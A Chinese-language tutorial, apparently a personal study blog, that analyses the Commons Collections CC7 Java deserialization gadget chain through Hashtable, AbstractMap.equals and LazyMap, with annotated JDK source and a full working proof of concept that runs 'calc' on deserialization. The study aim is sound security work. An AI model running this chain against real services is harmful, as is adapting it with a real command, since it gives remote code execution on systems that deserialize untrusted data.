跟CC5差不多,但是开头换成了Hashtable.readObject()

思路

找到入口类Hashtable,先看看他的readObject方法
Hashtable.readObject()
跟进reconstitutionPut(),调用equals()
Hashtable.reconstitutionPut()
而刚好AbstractMapDecoratorequals()会调用 map 的 equals()
AbstractMapDecorator.equals()
AbstractMap.equals()中刚好有equals()调用了get()可以和 LazyMap 那条链拼接,所以把 AbstractMapDecorator 中的 map 赋值为 AbstractMap 的对象就可以了
AbstractMap.equals()

构造

先看一下equals()的条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
public boolean equals(Object o) {
//判断是否为同一个对象
if (o == this)
return true;

//判断是否为Map
if (!(o instanceof Map))
return false;

//向上转型
Map<?,?> m = (Map<?,?>) o;
//判断HashMap的元素个数是否为size
if (m.size() != size())
return false;

try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
//value不为空判断value,key内容是否相等
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}

return true;
}

这里的 m.get(key) 实际上就是调用了 LazyMap.get(),所以需要满足:

  • value不为空

往前看再看一下Hashtable.reconstitutionPut()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
//value为空报错
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.

//计算key的hash值
int hash = key.hashCode();
//根据hash值计算索引
int index = (hash & 0x7FFFFFFF) % tab.length;
//判断key是否重复
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
//重复抛出异常
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
@SuppressWarnings("unchecked")
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}

CC7 触发漏洞的关键就在这里,当判断 key 是否重复时触发漏洞

PS:如果只有一个元素时不会进入 if 去调用 equals() ,所以 Hashtable 中至少有两个元素并且 hash 值需相同才会调用 equals()

需要具备的条件:

  1. value不为空
  2. 因为后面要调用AbstractMapDecorator.equals(),所以e.map是一个AbstractMapDecorator对象,但是AbstractMapDecorator是一个抽象类,不能直接 new,但是 LazyMap 继承了 AbstractMapDecorator,所以考虑将e.key赋值为 LazyMap 对象
    e 是 传入的参数的 Entry[] tab 数组的某一个键值对

往后看Hashtable.readObject(),可以看到reconstitutionPut()传的第一个参数为table
Hashtable.readObject()
table 由 transient 修饰,不能序列化,所以当反序列化通过 Hashtable 的 readObject() 第一次调用 reconstitutionPut() 时,table 没有赋值
Hashtable table
因为第一次 table 没有赋值,e为空,所以会跳出 for 循环,继续后面的赋值

1
2
Entry<K,V> e = (Entry<K,V>)tab[index];
tab[index] = new Entry<>(hash, key, value, e);

第一次 reconstitutionPut() 调用后,会回到 readObject() 的循环中,Hashtable 的键值对有多少个,for 循环就会执行几次

1
2
hashtable.put(lazyMap1,"test");
hashtable.put(lazyMap2,"test");

如果这样传就会执行两次,第二次调用时,tab[index]就有值了 -> lazyMap => “test”
hash 是 key.hashCode() 得到的,lazyMap1.hashCode() -> AbstractMapDecorator.hashCode()
最终会返回map.hashCode(),若 map 是 HashMap 对象,则会调用 HashMap.hashCode()

现在要满足前面的e.hash == hash,要求两个 lazyMap 的hash 相同

下面是两组 hash 相同的值:

1
2
yy与zZ
Ea与FB

最后还需注意Hashtable.put()会提前执行equals(),和之前一样传个空的然后反射调用即可
lazyMap2集合中第二个元素添加了(yy=yy)需remove
Hashtable.put()添加元素时会调用equals()判断是否为同一对象,而equals()会调用 LazyMap 的 get() 会 put 一个 yy 进去
Hashtable.put()
LazyMap.get()

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package org.assass1n.cclearn;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7LearnApplication {

public static void main(String[] args) throws Exception {
// 利用 ChainedTransformer 执行 Runtime.getRuntime.exec("calc")
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};

// 先传入空的 Transformer 数组,防止 put 时命令执行
Transformer chainedTransformer = new ChainedTransformer(new ConstantTransformer[]{});

// 新建两个 HashMap 作为传入的参数
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

// 新建两个 LazyMap ,确保 hashCode() 结果一样
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);

// 新建入口类 Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test1");
hashtable.put(lazyMap2, "test2");

// 通过反射设置 transformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);

//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
lazyMap2.remove("yy");


serialize(hashtable);
unserialize("ser7.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser7.bin"));
oos.writeObject(obj);
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return null;
}
}